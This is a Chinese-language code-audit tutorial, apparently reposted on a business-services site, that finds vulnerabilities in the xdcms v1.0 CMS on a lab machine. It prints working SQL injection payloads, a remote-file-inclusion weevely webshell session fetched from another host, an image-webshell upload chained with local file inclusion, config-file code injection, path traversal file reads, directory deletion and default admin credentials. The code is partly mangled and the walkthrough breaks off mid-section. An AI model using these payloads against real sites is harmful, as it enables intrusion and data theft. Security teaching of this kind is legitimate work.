Menu

代码审计新手入门——xdcms_v1.0(萌新入坑必备)

  • 代记账1     2021-3-15
<返回列表


政务处理

对xdcms的一次审计练习,萌新入坑必备

前言

大家好,我是kn0sky,这次整了一个以前的小CMS进行练手,xdcms,版本: v1.0, 这个CMS虽然有点老,但是用来新手入门练手倒是挺不错的,在这里,你可以接触学习到多种sql语句的SQL注入漏洞,多种文件操作漏洞等等……

审计的思路是:

  1. 先大概浏览一下源代码,看看代码的逻辑大概是怎么运行的,找找关键的文件

  2. 然后按照功能点进行测试

环境准备:

废话不多说,直接开始吧

审计开始

通读代码的时候注意了!不要直接拿到源码就去读!

我们需要先在虚拟机的phpstudy上把xdcms部署好,访问虚拟机IP进入xdcms的安装,安装完之后,注意啦,这个时候把安装完成后的源码复制出来,用这个源码进行审计!

因为啊,有些文件啊,是在你安装完CMS之后才会出现的,拿安装之前的CMS去审计,会有些东西找不到的

文件目录如图所示:

到此,我们可以正式开始代码审计啦

大概浏览网站源代码

通过跟读index.php文件(这个CMS的index.php里面文件包含里又是文件包含,一层又一层),跟读到/system/function/fun.inc.php文件,这里面开始就是网站的功能和内容了

浏览目录,不难发现:网站的主要功能应该都在system目录中了

system目录下:

uploadfile目录:

api目录下:

data目录下:

到这里,我们来整理一下现有的信息:

– 数据库采用GBK编码,可能存在宽字节注入
– 网站的主要功能在system目录下
– api目录下的index可能存在文件包含漏洞
– 网站的功能是通过访问index.php的GET参数m,c,f来选择的,m是文件夹,c是文件,f是函数调用,比如后台的m=xdcms

接下来直接开始测试吧

按功能点进行测试

按照正常用户的使用流程先来走一遍看看,这里的注册功能存在IP地址伪造,不过没啥用,就跳过吧,这里的注册页面只有注册,登录两个选择,连个找回密码都没有

注册好用户之后,进入普通用户的后台看看

普通用户会员中心存在多处SQL注入漏洞

这个页面除了我的订单资料管理修改密码信息管理这四个功能之外,其他功能都用不了

那就一个一个点点看看吧

打开我心爱的小burp

点击资料管理后,请求地址为index.php,请求参数为m=member,f=edit,我们跟着index.php去看看这两个参数是做啥的

跟着跟着就到了/system/function/global.inc.php文件,我们来看一下相关代码:

//接收参数
$m=safe_replace(isset($_GET[\”m\”])) ? safe_replace($_GET[\”m\”]) : \”content\”;
$c=safe_replace(isset($_GET[\”c\”])) ? safe_replace($_GET[\”c\”]) : \”index\”;
$f=safe_replace(isset($_GET[\”f\”])) ? safe_replace($_GET[\”f\”]) : \”init\”;

includeMOD_PATH.$m.\”/\”.$c.\”.php\”; //调用类$p=new$c; //实例化$p->$f; //调用方法

大概意思就是文件包含module目录下的member目录,调用edit方法

publicfunctionedit{$this->member_info(0);$gourl=$_GET[\’gourl\’];$userid=$_COOKIE[\’member_userid\’];$info=$this->mysql->get_one(\”select * from \”.DB_PRE.\”member where `userid`=$userid\”);

$input=base::load_class(\’input\’);$field=base::load_cache(\”cache_field_member\”,\”_field\”);$fields=\”\”;foreach($field as$value){$fields.=\”<tr>n\”;$fields.=\”<td align=\”right\” valign=\”top\”><span class=\”tdl\”>\”.$value[\’name\’].\”:</span></td>\”;$fields.=\”<td>\”.$input->$value[\’formtype\’]($value[\’field\’],$info[$value[\’field\’]],$value[\’width\’],$value[\’height\’],$value[\’initial\’]).\” \”.$value[\’explain\’].\”</td>n\”;$fields.=\”</tr>n\”;}

assign(\’gourl\’,$gourl);assign(\’member\’,$info);assign(\”fields\”,$fields);template(\”member/edit\”);}

这里的变量userid从cookie获取值没有经过过滤就带入到sql的查询语句了,还是int型的注入:

构造cookie中的member_userid为4 and 1=2,可以发现这里的用户信息都消失了

由此可判断验证这里存在sql注入漏洞

也可以丢到sqlmap里跑一下,开了一堆工具,电脑太卡了我就不演示了

除了这里存在SQL注入漏洞,这个界面还有几个地方也存在同样的SQL注入漏洞,产生漏洞的原因都是因为没有过滤从GET请求中获得的member_userid的值

分别是同个功能文件下的edit_savepassword_save

到这里,会员中心已经测试完成了,继续下一个功能

修复建议:

网站API存在文件包含漏洞

普通用户能点的功能真没几个,看看API目录的index.php还真会有收获

源码如下:

从GET请求中获得两个参数c和f,c是要调用类的php文件名,下面直接就用c变量带入文件包含了

如果是调用本地php文件,直接输入目录加文件名即可直接调用,如果调用的文件后缀不是php:可以进行00截断

如果php配置文件打开GPC(magic_quotes_gpc)的话,用00截断会不成功(00截断的条件:PHP版本小于5.3,GPC没有开启)

如果目标的php配置开启了allow_url_include

那我们就能进行远程文件包含,各种马,安排

我图个简单,用weevely生成了一个,然后远程文件包含webshell

kn0sky@audit-Lab ~/ $ weevely \”http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?\” knkn0

/home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load without Loader=… is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/loadforfulldetails.sessiondb = yaml.load(open(dbpath, \’r\’).read)

[+] weevely 3.7.0

[+] Target: 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi[+] Session: /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session[+] Shell: Systemshell

[+] Browse the filesystem orexecutecommands starts the connection[+] tothe target. Type:helpformore information.

weevely> 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info[-][channel] The remote execution triggersan error500, check andpayload integrity[-][channel] The remote execution triggersan error500, check andpayload integrity+——————–+———————————–+| client_ip | 192.168.77.2|| max_execution_time | 300|| | /api/index.php || open_basedir | || hostname | || php_self | /api/index.php || _folder | http://192.168.2.222|| uname | Windows NT K0-PC 6.1build7600|| pwd | C:phpstudy_proWWWxdcms.comapi || safe_mode | False|| php_version | 5.2.17|| dir_sep | || os | Windows NT || whoami | || document_root | C:/phpstudy_pro/WWW/xdcms.com |+——————–+———————————–+127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $

要是不能远程文件包含,如果有文件上传的地方,可以从这里本地文件包含个图片马去getshell

修复建议:

接下来,该用管理员登录网站了

管理员后台上传图片+本地文件包含组合漏洞

后台地址:http://<IP>/index.php?m=xdcms&c=login

默认管理员账号密码:xdcms:xdcms

管理员后台在系统设置,网站配置的基本信息那里,可以上传网站logo

这里的上传有个后端的图片后缀名检测:

//判断上传是文件还是图片$type=isset($_GET[\’type\’])?(int)$_GET[\’type\’]:0;$size=500000;$folder=\’image\’;$allowed=array( \’gif\’, \’jpg\’, \’jpeg\’, \’png\’);

图片文件名检测:

if( $this->make__safe ){if( preg_match( \”/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i\”$FILE_NAME ) ){$FILE_TYPE = \’text/plain\’;$this->file_extension = \’txt\’;$this->parsed_file_name = preg_replace( \”/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i\”, \”$2\”, $this->parsed_file_name );

$renamed = 1;}}

图片文件类型检测:

if( $this->image_check ){$img_attributes = @getimagesize( $this->saved_upload_name );

然后还有个文件名修改

这里可以用GIF89A绕过上传png后缀的php脚本

可能是这个cms实在太老了,源码拿来直接运行还是出现了一些问题

上传完图片之后,应该是要回显上传的位置的,可能是出了什么问题,前端这一块我不太懂

去看服务器上传文件的文件夹:

文件确实上传成功了

位置是:/uploadfile/image/20191114/201911141058530.png

这个图片的内容是:

GIF89A<?PHPphpinfo;?>

我们去结合刚才的本地文件包含试一试

利用成功

这里可以利用上传图片马来获取shell

修复建议:

管理员后台网站信息设置处存在二次漏洞

刚看到这里的时候,这里的网站地址:http://127.0.0.5我很好奇是干嘛的,因为它现在写的是127.0.0.5而网站的ip与这个无关,去翻翻源码看看这玩意是干嘛的

if($tag==\’config\’){//判断url是否以/结尾$urlnum=strlen($info[\’siteurl\’])-1;if(substr($info[\’siteurl\’],$urlnum,1)!=\”/\”){showmsg(C(\”update_url_error\”),\”-1\”);}//end

$cms=SYS_PATH.\’xdcms.inc.php\’; //生成xdcms配置文件$cmsurl=\”<?phpn define(\’CMS_URL\’,\’\”.$info[\’siteurl\’].\”\’);n define(\’TP_FOLDER\’,\’\”.$info[\’template\’].\”\’);n define(\’TP_CACHE\’,\”.$info[\’caching\’].\”);n?>\”;creat_inc($cms,$cmsurl);

点击保存后,网站获取siteurl没有经过过滤,就拼接到cmsurl字符串变量里去了,然后根据这个cmsurl生成配置文件

配置文件:

<?phpdefine(\’CMS_URL\’,\’http://127.0.0.5/\’);define(\’TP_FOLDER\’,\’dccms\’);define(\’TP_CACHE\’,false);?>

这里我们可以构造siteurl:

hello\’);?><?phpphpinfo;?>

点击保存后,我们去查看一下该配置文件:

<?phpdefine(\’CMS_URL\’,\’hello\’);?><?phpphpinfo;?>\’;define(\’TP_FOLDER\’,\’dccms\’);define(\’TP_CACHE\’,false);?>

这里的配置文件内容生成外部参数可控,导致了可直接getshell

访问该配置文件页面:http://ip/system/xdcms.inc.php

修复建议:

管理员后台模板功能处存在任意文件读取漏洞

后台看了看好像也没啥问题了,通过查看这个CMS相关文章得知,这个CMS有的功能有,但是不再后台页面里

例如/system/module/xdcms/template.php文件的edit功能

publicfunctionedit{$filename=$_GET[\’file\’];$file=TP_PATH.TP_FOLDER.\”/\”.$filename;if(!$fp=@fopen($file,\’r+\’)){showmsg(C(\’open_template_error\’),\’-1\’);}flock($fp,LOCK_EX);$str=@fread($fp,filesize($file));flock($fp,LOCK_UN);fclose($fp);assign(\’filename\’,$filename);assign(\’content\’,$str);template(\’template_edit\’,\’admin\’);}

构造如下url即可查看到指定文件

http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php

当然,这需要管理员身份登录才能进行

修复建议:

管理员后台栏目管理存在SQL注入漏洞

果然还是直接去读源码比较方便

这里的源码如下:

publicfunctionadd_save{$config=base::load_cache(\”cache_set_config\”,\”_config\”);$catname=$_POST[\’catname\’];$catdir=$_POST[\’catdir\’];$thumb=$_POST[\’thumb\’];$is_link=intval($_POST[\’is_link\’]);$url=safe_replace($_POST[\’url\’]);$model=$_POST[\’model\’];$sort=intval($_POST[\’sort\’]);$is_show=intval($_POST[\’is_show\’]);$parentid=intval($_POST[\’parentid\’]);$is_target=intval($_POST[\’is_target\’]);$is_html=intval($_POST[\’is_html\’]);$template_cate=$_POST[\’template_cate\’];$template_list=$_POST[\’template_list\’];$template_show=$_POST[\’template_show\’];$seo_title=$_POST[\’seo_title\’];$seo_key=$_POST[\’seo_key\’];$seo_des=$_POST[\’seo_des\’];$modelid=modelid($model);

if(empty($catname)||empty($catdir)||empty($model)){showmsg(C(\’material_not_complete\’),\’-1\’);}

if(!check_str($catdir,\’/^[a-z0-9][a-z0-9]*$/\’)){showmsg(C(\’catdir\’).C(\’numbers_and_letters\’),\’-1\’);}

if($is_html==1){if($config[\’createhtml\’]!=1){showmsg(C(\’config_html_error\’),\’index.php?m=xdcms&c=setting\’);}}

$nums=$this->mysql->db_num(\”category\”,\”catdir=\’\”.$catdir.\”\’\”);if($nums>0){showmsg(C(\’catdir_exist\’),\’-1\’);}

$sql=\”insert into \”.DB_PRE.\”category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values (\’\”.$catname.\”\’,\’\”.$catdir.\”\’,\’\”.$thumb.\”\’,\’\”.$is_link.\”\’,\’\”.$url.\”\’,\’\”.$model.\”\’,\’\”.$modelid.\”\’,\’\”.$sort.\”\’,\’\”.$is_show.\”\’,\’\”.$is_target.\”\’,\’\”.$is_html.\”\’,\’\”.$template_cate.\”\’,\’\”.$template_list.\”\’,\’\”.$parentid.\”\’,\’\”.$template_show.\”\’,\’\”.$seo_title.\”\’,\’\”.$seo_key.\”\’,\’\”.$seo_des.\”\’)\”;$this->mysql->query($sql);$catid=$this->mysql->insert_id;

if($is_link==0){//生成url$ob_url=base::load_class(\”url\”);$url=$ob_url->caturl($catid,$catdir,$is_html);$this->mysql->db_update(\”category\”,\”`url`=\’\”.$url.\”\’\”,\”`catid`=\”.$catid);}

$this->category_cache;showmsg(C(\’add_success\’),\’-1\’);}

这里有一大堆参数没有任何过滤就直接带入sql语句进行插入了,此处可进行SQL注入

在参数中加个单引号之后提交:

报错啦!直接报错注入即可

构造如下payload进行报错注入:

seo_des=haha\’ or updatexml(1,(concat(0x7e,(select version),0x7e)),1) or \’

修复建议:

管理员后台内容管理处存在SQL注入漏洞

出现问题的函数依然是add_save,先来看代码:

public functionadd_save{$title=safe_html($_POST[\’title\’]);$commend=intval($_POST[\’commend\’]);$username=safe_html($_POST[\’username\’]);$thumb=$_POST[\’thumb\’];$keywords=safe_html($_POST[\’keywords\’]);$deion=safe_html($_POST[\’deion\’]);$inputtime=datetime;$updatetime=strtotime($_POST[\’updatetime\’]);$url=$_POST[\’url\’];$catid=intval($_POST[\’catid\’]);$userid=$_SESSION[\’admin_id\’];$fields=$_POST[\’fields\’];$style=$_POST[\’title_color\’].\” \”.$_POST[\’title_weight\’];

//此处省略验证数据存在的部分

//添加content$sql=\”insert into \”.DB_PRE.\”content(title,commend,username,thumb,keywords,deion,inputtime,updatetime,url,catid,userid,hits,style) values(\'{$title}\’,\'{$commend}\’,\'{$username}\’,\'{$thumb}\’,\'{$keywords}\’,\'{$deion}\’,\'{$inputtime}\’,\'{$updatetime}\’,\'{$url}\’,\'{$catid}\’,\'{$userid}\’,0,\'{$style}\’)\”;$this->mysql->query($sql);$last_id=$this->mysql->insert_id;

依然是一堆参数从POST提交上来没有经过任何过滤就进行了INSERT INTO操作

构造title:

AASD\’ or (selectupdatexml(1,(concat(0x7e,(selectversion),0x7e)),1)) or\’

即可进行报错注入

修复建议:

管理员后台数据库管理页面存在任意目录删除漏洞

地址为:http://ip/index.php?m=xdcms&c=data&f=delete&file=

这个功能原本是删除备份文件夹的,但是可以通过../进行目录跳转来删除任意文件夹

源码如下:

publicfunctiondelete{$file=trim($_GET[\”file\”]);$dir=DATA_PATH.\’backup/\’.$file;if(is_dir($dir)){//删除文件夹中的文件if(false!= ($handle = opendir ( $dir ))) { while( false!== ($file = readdir ( $handle )) ) { if($file != \”.\”&& $file != \”..\”&&strpos($file,\”.\”)) { @unlink($dir.\”/\”.$file); } } closedir ( $handle ); } @rmdir($dir);//删除目录}showmsg(C(\’success\’),\’-1\’);}

通过GET参数file获取目录名,然后进行判断是否是目录,如果是,则删除目录下的文件再删除目录,如果不是,直接返回 success

我们在网站主目录下创建个文件夹123:

然后点击删除操作之后,在Burp中拦截修改:

发送后,我们再来看看网站根目录:

刚刚创建的123目录,没有啦!

修复建议:

管理员后台关键词管理页面存在SQL注入漏洞

这里又是一个后台管理页面访问不到的地方,通过输入url:http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1才能访问

从这里开始,终于遇到了带有安全过滤防御机制的漏洞

我们先来看源码:

publicfunctioneditsave{$id=isset($_POST[\’id\’])?intval($_POST[\’id\’]):0;$title=safe_html($_POST[\’title\’]);$url=safe_html($_POST[\’url\’]);if(empty($title)||empty($url)||empty($id)){showmsg(C(\’material_not_complete\’),\’-1\’);}$this->mysql->db_update(\’keywords\’,\”`title`=\’\”.$title.\”\’,`url`=\’\”.$url.\”\’\”


更多阅读

北京海淀区凡诺企业网站管理系统V3.0代码审计

代记账1 2021-3-19
政务处理 0×00 前言 大家好,我是掌控安全学院的聂风,在此,我做一个代码审计的文章分享来方便同学们学习。我逛了逛CNVD,发现有一个叫做凡诺企业网站...

北京市税务审计是做什么的?与财务审计的区别

代记账1 2021-3-19
政务处理 税务审计主要为了查看企业是否按规定交税、有没有偷税漏税行为,有没有弄虚作假等情况。当企业面临税务稽查、变更、并购等问题时,对企业进行全...

北京5家会计师事务成功中标公安部机关审计项目

代记账1 2021-3-19
政务处理 中机国际招标有限公司受公安部机关政府采购办公室 的委托,就“公安部机关审计服务项目”项目(项目编号:0702-19412G109)组织采购,评标工作已...
返回列表
扫描二维码分享到微信
确 认

Copyright © 2021 代记账服务

     
扫码二维码立即咨询
确 认